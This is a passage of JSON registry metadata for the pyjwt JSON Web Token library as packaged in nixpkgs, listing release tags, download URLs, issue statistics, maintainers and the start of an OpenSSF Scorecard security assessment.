y_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:36.197Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{},"purl":"pkg:nix/python310Packages.pyjwt?channel=23.11\u0026repository_url=https://channels.nixos.org/nixos-23.11","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/nixpkgs/python310Packages.pyjwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/nixpkgs/python310Packages.pyjwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/nixpkgs/python310Packages.pyjwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/python310Packages.pyjwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/python310Packages.pyjwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/python310Packages.pyjwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/python310Packages.pyjwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/python310Packages.pyjwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/python310Packages.pyjwt/codemeta","maintainers":[{"uuid":"prikhi","login":null,"name":"Pavan Rikhi","email":"pavan.rikhi@gmail.com","url":"https://github.com/prikhi","packages_count":31,"html_url":null,"role":null,"created_at":"2026-03-07T07:41:43.573Z","updated_at":"2026-03-07T07:41:43.573Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/maintainers/prikhi/packages"}],"registry":{"name":"nixpkgs-23.11","url":"https://channels.nixos.org/nixos-23.11","ecosystem":"nixpkgs","default":false,"packages_count":108178,"maintainers_count":2997,"namespaces_count":0,"keywords_count":569,"github":"NixOS","metadata":{"funded_packages_count":229},"icon_url":"https://github.com/NixOS.png","created_at":"2026-01-25T22:30:53.577Z","updated_at":"2026-06-10T05:16:53.702Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/namespaces"}},{"id":13306003,"name":"python311Packages.pyjwt","ecosystem":"nixpkgs","description":"JSON Web Token implementation in Python","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":["python"],"namespace":null,"versions_count":1,"first_release_published_at":"2026-02-02T07:03:58.979Z","latest_release_published_at":"2026-02-02T07:03:58.979Z","latest_release_number":"2.8.0","last_synced_at":"2026-03-08T11:42:43.221Z","created_at":"2026-02-02T07:03:54.393Z","updated_at":"2026-05-29T04:00:36.255Z","registry_url":"https://search.nixos.org/packages?channel=23.11\u0026query=python311Packages.pyjwt","install_command":"nix-env -iA nixpkgs.python311Packages.pyjwt","documentation_url":"https://github.com/NixOS/nixpkgs/blob/nixos-23.11/pkgs/development/python-modules/pyjwt/default.nix#L57","metadata":{"nix_attribute":"python3.11-pyjwt-2.8.0","position":"pkgs/development/python-modules/pyjwt/default.nix:57","platforms":["aarch64-linux","armv5tel-linux","armv6l-linux","armv7a-linux","armv7l-linux","i686-linux","loongarch64-linux","m68k-linux","microblaze-linux","microblazeel-linux","mips-linux","mips64-linux","mips64el-linux","mipsel-linux","powerpc64-linux","powerpc64le-linux","riscv32-linux","riscv64-linux","s390-linux","s390x-linux","x86_64-linux","x86_64-darwin","i686-darwin","aarch64-darwin","armv7a-darwin","i686-cygwin","x86_64-cygwin","x86_64-windows","i686-windows"],"broken":false,"insecure":false,"unfree":false,"outputs":["dist","doc","out"],"upstream_ecosystem":"pypi","upstream_name":"pyjwt","upstream_purl":"pkg:pypi/pyjwt"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow 